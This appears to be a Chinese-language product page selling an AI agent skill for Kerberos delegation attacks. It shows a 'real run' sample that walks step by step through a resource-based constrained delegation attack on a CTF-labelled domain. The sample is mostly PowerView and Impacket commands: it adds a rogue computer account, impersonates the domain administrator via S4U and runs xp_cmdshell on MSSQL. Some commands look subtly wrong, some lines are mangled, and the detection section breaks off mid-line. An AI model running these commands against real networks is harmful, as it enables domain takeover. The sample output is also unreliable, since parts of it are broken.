Internal downstream skill for …
Internal downstream skill for ctf-sandbox-orchestrator. CTF-sandbox workflow for Kerberos delegation, SPN trust edges, S4U abuse, RBCD, constrained or unconstra…
competition-kerberos-delegation能帮你做什么
不说虚话——S7558 交付的是能直接拿去用的成品，不是“AI 能做”的空话。
用大白话交代任务，它会先确认关键细节再动手，不瞎猜。
输出带结构与说明，拿来就能用，不用再自己整理格式。
与 AIXX 其他技能叠加使用，组成你自己的工作流。
把常用要求沉淀成一句话模板，下次直接复用。
真实任务实跑产出
下面是真实任务由 S7558 实际生成的内容节选——不是宣传文案，是它真的干出来的活。
competition-kerberos-delegation · 实跑样例
任务：帮我在CTF靶场里配置Kerberos约束委派：域ctf.local，用户svc-web$对MSSQL服务做基于资源的约束委派，给出攻击利用路径验证步骤。
# Kerberos基于资源的约束委派（RBCD）配置与利用——CTF靶场案例
环境设定
- 域：
ctf.local，DC：DC01.ctf.local（192.168.1.10） - 攻击目标服务账号：
svc-web$（机器账号，权限为普通域用户+SPN注册） - 目标服务：
MSSQL01.ctf.local（192.168.1.30），其msDS-AllowedToActOnBehalfOfOtherIdentity初始为空 - 工具：PowerView、Impacket、Rubeus
一、RBCD委派配置（在MSSQL01上设置）
```powershell
# 以MSSQL01机器账号所有者身份执行（CTF中常由管理员或SQL sysadmin执行）
Set-DomainObject -Identity MSSQL01$ `
-Set @{'msds-allowedtoactonbehalfofotheridentity'=`
$(Get-DomainComputer svc-web | Select-Object -ExpandProperty rawdataserviceaccount)}
# 验证
Get-DomainObject MSSQL01 -Properties msds-allowedtoactonbehalfofotheridentity
```
二、攻击利用路径验证
步骤1：获取svc-web$机器账户凭证
```bash
# CTF中常用已知密码，或用gMSA/机器账户密码提取
python3 getST.py -dc-ip 192.168.1.10 -no-pass 'ctf.local/svc-web$' -k
```
步骤2：创建伪造计算机账号（若无法直接使用svc-web$，需S4U2Self主体有SPN）
```bash
python3 addcomputer.py -dc-ip 192.168.1.10 'ctf.local/svc-web$:P@ss123' -computer-name EVILPC -computer-pass Evil123!
```
步骤3：将EVILPC写入RBCD白名单（若步骤一未配置）
```bash
python3 rbcd.py -dc-ip 192.168.1.10 'ctf.local\svc-web$:P@ss123' -a EVILPC -t MSSQL01
```
步骤4：S4U协议模拟域管理员访问MSSQL
```bash
python3 getST.py -spn MSSQLSvc/MSSQL01.ctf.local:1433 \
-impersonate administrator -dc-ip 192.168.1.10 \
'ctf.local/EVILPC$:Evil123!'
# 得到[email protected]的ST票据
```
步骤5：使用票据接管MSSQL
```bash
export [email protected]
python3 mssqlclient.py -k -no-pass MSSQL01.ctf.local
# 登录成功 → EXEC xp_cmdshell 'whoami' → nt service\mssqlserver → 继续提权
```
三、检测与验证要点
- 事件ID 4624（类型3）+ 4662（
GenericAll写msDS-AllowedToAct属性） - S4U日志：4769中出现`
三种做法,一比就知道
| 再招一个人 | 自己摸索 | 萬安云 S7558 | |
|---|---|---|---|
| 价格 | 月薪数千起 | 反复试错数小时 | $1.99 / 次 |
| 交付周期 | 招聘+培训数周 | 质量不稳定 | 分钟级 |
| 独特性 | 流动风险 | 无人复核 | 按你的任务从零生成 |
| 改稿迭代 | 加钱，走流程 | 反复试错 | 说话就能迭代 |
两步,让它开工
不用碰终端——你只管对 agent 说话,跑命令的活它来。
对你的 agent 说:
对你的 agent 说:
以上 Agent 均可接入萬安云 · OpenAI 兼容接口 · 装好 AIXX 即可调用全部技能
你可能想问
competition-kerberos-delegation怎么安装使用？
三步：终端执行 npx aixxai 安装 AIXX；对您的 AI 说「安装编号 S7558」；交代任务背景与要求，competition-kerberos-delegation即刻开工。
competition-kerberos-delegation多少钱？怎么付费？
$1.99 一次买断（参考价，实际以平台标价为准）——永久使用，无订阅、无月费；该技能由萬安永久维护迭代，更新对已购用户免费。
产出内容能商用吗？
可以。产出为普通数字文件，归购买者使用，可用于商业场景。
具体能帮我做什么？
把你手头这件重复、费时、有固定套路的活交给它——先描述任务和背景，它会确认要点后直接产出成品，不满意可以继续改。
输出质量不稳定怎么办？
在指令里补充背景、受众与格式要求（例如“面向中小企业主、300 字以内、分三点”）；要求越具体，产出越稳。
一价买断,没有套路
永久使用 · 无订阅无月费 · 永久维护迭代